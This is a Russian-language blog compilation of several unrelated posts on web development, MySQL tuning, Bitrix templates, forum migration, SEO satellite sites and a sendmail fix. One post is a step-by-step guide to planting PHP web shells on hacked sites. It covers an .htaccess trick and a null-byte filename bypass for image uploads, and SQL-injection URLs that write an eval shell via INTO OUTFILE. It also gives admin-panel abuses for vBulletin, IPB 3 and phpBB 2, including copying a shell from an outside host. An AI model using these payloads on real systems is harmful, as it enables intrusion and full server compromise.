Последнее время сервачёк начал буквально трещать от нагрузки — от чего появились тормоза, что конечно же негативно сказывается на всём — юзерам не приятно, да и роботы не похвалят.
Первое, что пришло в голову — конечно же апгрейд (уже пора т.к. года 2 уже конфигурация без изменений, а нагрузка всё растёт).
Но нормальный апгрейд (полностью замена сервера на более мощный с полной настройкой системы с нуля) — дело не быстрое, а проблему хотелось бы решить побыстрее, хотя бы временно.
Анализ процессов показал, что MySQL явно не справляется и прилично грузит систему, особенно одного из хостеров интересовал конкретный запрос, который в админ панели отрабатывал довольно медленно (был осуществлен ручной допил VirturMart-a).
Первое, что я сделал — попытался привести в порядок серверные настройки MySQL — помогла статейка MySQL-тюнинг. Настраиваем по-взрослому.
Далее, оказалось искомый запрос вообще отказался работать — опытным путём выявил, что причиной тому стало ограничение max_join_size = 1000000
Вывод — оптимизация самого запроса. Читать полностью »
Время от времени прилетают заказы на всякого рода сайты (последнее время практикую Битрикс) и вопрос с дизайном на данный момент остаётся открытым.
Мог бы заняться сам, но последнее время нахожусь в жестоком цейтноте.
Собственно, нужен дизайнер (уже на данный момент есть один заказ). Можно конечно на фрилансе поискать, но это как запасной вариант…
В обязанности будет входить не только сама работа по дизайну, но и очень важный момент — общение с заказчиком — далеко не каждый заказчик толком представляет, что ему нужно.
Знание основ вёрстки так же необходимо (далее возможно так же и выполнение непосредственно вёрстки и адаптация в шаблон Битрикса — но это посмотрим в процессе, как сработаемся).
Ну и если человек будет из Новосибирска — вообще замечательно.
Уже не в первый раз сталкиваюсь с шаблонами Битрикса где содержимое тега title дублируется с содержимым заголовка H1
В шаблоне это выглядит как $APPLICATION->ShowTitle();?>
....
$APPLICATION->ShowTitle();?>
Что конечно же в корне неверно.
Решается этот вопрос простой поправкой
$APPLICATION->ShowTitle(false);?>
Дело в том, что задаются (и как видно выводятся) данные заголовки по-разному
$APPLICATION->SetPageProperty(«title», «Заголовок в окне браузера - тег title»);
$APPLICATION->SetTitle(«Заголовок в h1»);
На прошлой неделе обратились с вопросом о переносе форума с PHPBB3 на Битрикс.
Заказчик вышел на меня сам — с оф.сайта Битрикса (приятно, когда работа сама ищёт тебя, а не наоборот).
Собственно, на эту тему у меня уже было пару постов, где я подробно описал процесс миграции: Bitrix API: конвертация форума с PHPBB PHPBB 2 Битрикс — личные сообщения
Но в данном случае конечно-же не обошлось без своих ньюансов:
* К сожалению хэш был записан в формате php4 й версии — к Битриксу не подошел, соответственно пароли юзеров придётся им восстанавливать через почтовый ящик
* В данном ТЗ нужно было перетащить прикреплённые к сообщениям файлы:
Выдёргиваем из bb_attachments все прикреплённые файлы и при создании сообщения передаём переменную с массивом прикреплёнок созданных методом CFile::MakeFileArray()
array =>
0 => array(«name», «size», «tmp_name», «type»),
1 => array(«name», «size», «tmp_name», «type»),
Код приводить не буду, т.к. в каждой версии phpbb прикреплёнки хранятся по-разному.
В остальном всё прошло по-плану и заказчик остался доволен.
Доброго времени! Предлагаю обмен читателями http://bo0om.ru/oblen-chitatelyami-2leep
Собираю множество it\sec\coding блогов, возможно заинтересует 😉
Было бы славно, если бы Вы оказались в наших рядах
По ссылке — слишком подробно разжёвано, если кратко — регаем блог в сервисе, ставим у себя виджет ленты — вуаля, ты крутишь новое на блогах выбранной группы — соответственно тебя крутят тоже.
ИМХО — вещь !
С учётом удачной автоматизации и красивого оформления — бомба!
Дмитрий — спасибо!
P.S. Добавил категорию SEO — а там блог webmaster.ru крутят 🙁 кто модератор ветки и как ему написать — непонятно
Вы взломали сайт (разумеется только тестируете) с самописной админкой… И не можете залит веб-шелл, но там присутствует заливка картинок и загружает только форматы .jpg, .gif, .png.
Что в этом случаем можно сделать?
Пихаем шелл с расширением .gif в какую нибудь папку с картинками, и создаем файл .htaccess с содержимым
AddType application/x-httpd-php .gif
Данная команда выполнит формат .gif как php
Пробуем открыть [path]/shell.gif
Так же, если скрипт не равнодушен к переносу строки, пробуем залить шелл попутно переименовав его в shell.php%00.jpg, проверять доступность shell.php, а вдруг?
Способ заливки шелла через mysql.user из скули
1)Узнаем из под кого мы сидим и узнаем так же его права к mysql.
site.com/index.php?id=1+and+1=0+union+Select+1,user(),3+--+ (Узнаем под кем мы сидим)
2)site.com/index.php?id=1+and+1=0+union+Select+1,file_priv,3+from+mysql.user+where+user='наш юзер'+--+ (Проверим привилегии нашего юзера. Если выдаёт ошибку при выводе, можно похексить нашего юзера 0x)
3)site.com/index.php?id=-1+union+select+1,'< ?php eval($_REQUEST[cmd]); ?>',3+from+mysql.user+into+outfile+'Путь до файла'+--+ (Заливаем мини-шелл)
P.S
Что бы всё получилось нужно имееть права на запись и знать полный путь до корня.
Так же проверить права на запись можно так:
site.com/index.php?id=1+and+1=0+union+Select+1,'prava',3+from+mysql.user+--+ Если prava отобразится, то права есть.
Следующая ситуация. Мы в админке форумного движка vBulletin
Выбираем темптлей. Обычно выбирают faq_complete, выбираем и жмем галочку Plugin is Active выставляем «Yes» и сохраняем.
Далее выводим phpinfo()
localhost/forum/faq.php?cmd=phpinfo();
Если мы вывели phpinfo() то считайте шелл у нас в руках.
Далее в phpinfo нужно найти полный путь до форума (например /home/u0000/site.ru/www/sell.php). Далее нам нужно наш веб-шелл превратить в txt файл и залить на любой сайт mysite.com/shell.txt
Шелл заливаем командой
localhost/forum/faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
Что делает эта команда? Она копирует содержимое переменной [a] в переменную [b], то есть shell.txt копирует в shell.php
Заливаем шелл в IPB 3
Заходим:
Поддержка->Управление SQL->Выполняющиеся процессы->Выполнить новый запрос
Код: select 0x3c3f706870696e666f28293b3f3e into outfile 'Z:/home/site.ru/www/uploads/shell.php'
Полный путь можно посмотреть так:
Админка->Поддержка
Там будет сверху написана версия PHP и слева ссылка на PHPINFO
Шелл тут: http://site.com/uploads/shell.php
Заливаем шелл в phpBB 2
1. Создаём файл ex.sql
2. Прописываем туда
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:eval(stripslashes($_GET[e]));' WHERE user_id=2; Где user_id=2 — идентификатор администратора
3. Заходим в админ-панель
4. В админ-панеле выбираем пункт «Восстановить БД» и загружаем ex.sql
5. Выполняем код / Заливаем шелл так
Заходим: http://target/profile.php?mode=editprofile&e=phpinfo();
После: http://target/profile.php?mode=editprofile&e=faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
Что бы вывести phpinfo() нужно быть авторизованным.
Это только коротенький список, как и на какие движки можно залить шелл. Нужно больше? Welcome к ребятам на rdot заливка на форумы заливка на cms
А вот и мой любимый шелл, тоже на rdot)) WSO
Конечно, выбрал я не совсем правильное название поста, т.к. поисковое продвижение конечно же начинается непосредственно с самого сайта — то есть, приведение в порядок контента и так называемой внутренней поисковой оптимизации.
Но сейчас все прекрасно понимают, что на одной внутренней оптимизации не вылезешь и у новичков сразу же возникает вопрос — а что дальше?
Линк-биржи, статьи, прямые договорённости, реклама ? Что эффективнее ? и т.д. и т.п.
Причём как правило финансов мало и хотелось бы максимально эффективно их использовать и когда люди узнают, что за каждую покупную ссылочку не самого хорошего качества. ЕЖЕМЕСЯЧНО придётся отстёгивать, и результат совсем не гарантирован — радости на лицах вообще не наблюдаю.
В то же время в наличии какой-то опыт (свой же сайт подняли), свободное время, желание в топы и необузданное рвение к покорению просторов интернета.
Собственно, не буду томить — хочу порекомендовать схему создания своих белых сайтов, являющихся линк-базой для основного сайта.
То есть — создаём хорошие белые тематические сайты с уникальным контентом на доменах 2го уровня и уже на них в новых материалах ставим в тексте тематические ссылочки на продвигаемые страницы основного сайта по интересующим ключевым словам.
Из минусов такого метода — ваши трудозатраты (контент на таких сайтах желательно обновлять не реже чем раз в месяц — чтоб поисковики не считали их умершими, ну и в целом всё же делать их для людей, а не для роботов)
Всё остальное — только плюсы:
* ссылки естественные, появляющиеся в новом материале — максимальный вес
* ссылки тематические с контента являющегося уникальным
* ссылки ВЕЧНЫЕ
* ссылки бесплатные
* при работе с сайтом донором (раскрутке его) — такие ссылки будут только увеличивать передаваемый поисковый вес
* минимальные затраты для такого метода — только домен (у реселлеров домен в зоне .ru 89 руб. в год) и хостинг (тоже недорого), причём несколько сайтов для разнообразия можно сделать и на фрихостинге
* домены со временем будут стареть и набирать вес, что положительно будет сказываться и на ссылках
* таким сайтам можно придать разную гео-привязку и собирать прямой трафик с разных регионов
Один советик — не располагайте домены на одном хостинге.
И конечно-же возьмите за правило — при возможности ставить ссылочку на чужом ресурсе — обязательно её ставить на какое-то из своих творений. Подписи на блогах, контактная информация в профиле и т.д. и т.п.
При отправке писем средствами php как правило в качестве MTA используется sendmail далее обработкой писем занимается уже почтовый сервер.
Настраивая очередную систему, предназначенную сугубо под хостинг сайта я подумал — есть ли вообще смысл поднимать на этой машине собственный почтовый сервер — и пока воздержался от его установки.
Но при тестировании отправки писем скриптом через php обнаружилась проблема с отправкой писем на адреса xxxxxx@ngs.ru — на мой тестовый ящик на этом сервере письма не дошли.
В чём трабла ?
Врубаем параметр LogLevel=13 в /etc/mail/sendmail.cf снова пробуем отправить и наблюдаем логи /var/log/maillog
в которых и выясняется причина облома Helo command rejected: need fully-qualified hostname
Почтовику не понравилось как мы с ним поздоровались «need fully-qualified hostname»
Ставим реальный hostname=”my-domain.ru” в /etc/rc.conf
Так же проделываем это командой hostname
Перезагрузка — снова тест — и снова облом.
Делаю вывод, что здоровается сервер не хостнеймом, а непонятно чем, и видимо это должно быть прописано в настройках sendmail…
в конфиге sendmail.cf обнаружил такие строки
# my official domain name
# … define this only if sendmail cannot automatically determine your domain
#Dj$w.Foo.COM
Раскоментируем последнюю строчку и заменяем на #Dj$w
Проверка — пашет.